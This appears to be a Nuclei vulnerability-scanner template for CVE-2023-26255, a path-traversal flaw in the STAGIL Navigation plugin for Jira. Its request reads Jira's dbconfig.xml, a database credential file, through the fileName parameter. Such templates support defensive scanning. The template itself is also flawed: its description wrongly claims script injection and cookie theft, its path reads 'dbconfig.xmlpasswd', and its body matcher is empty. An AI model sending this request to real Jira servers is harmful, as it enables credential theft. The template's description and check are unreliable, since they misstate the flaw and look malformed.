id: CVE-2023-26255 info: name: STAGIL Navigation for Jira Menu & Themes <2.0.52 - Local File Inclusion author: DhiyaneshDK severity: high description: | STAGIL Navigation for Jira Menu & Themes plugin before 2.0.52 is susceptible to local file inclusion via modifying the fileName parameter to the snjCustomDesignConfig endpoint. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can potentially allow the attacker to steal cookie-based authentication credentials and launch other attacks. remediation: | Upgrade STAGIL Navigation for Jira Menu & Themes to version 2.0.52 or higher to fix the Local File Inclusion vulnerability. reference: - https://github.com/1nters3ct/CVEs/blob/main/CVE-2023-26255.md - https://marketplace.atlassian.com/apps/1216090/stagil-navigation-for-jira-menus-themes?tab=overview&hosting=cloud - https://nvd.nist.gov/vuln/detail/CVE-2023-26255 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2023-26255 cwe-id: CWE-22 epss-score: 0.13924 epss-percentile: 0.95096 cpe: cpe:2.3:a:stagil:stagil_navigation:*:*:*:*:*:jira:*:* metadata: max-request: 1 vendor: stagil product: stagil_navigation framework: jira shodan-query: title:Jira tags: cve,cve2023,lfi,jira,cms,atlassian http: - method: GET path: - "{{BaseURL}}/plugins/servlet/snjCustomDesignConfig?fileName=../dbconfig.xmlpasswd&fileMime=$textMime" matchers-condition: and matchers: - type: word part: body words: - "" - type: word part: header words: - '$textMime' - type: status status: - 200 # digest: 4a0a00473045022071b334eac2f0ec6f763d0772bb1706953dacf67913f61bbbaefdf683b34b4c08022100b2ffff21f0a2e4046d9a02ca2c601ae635ff9f110d81080b156f545043aaef8c:922c64590222798bb761d5b6d8e72950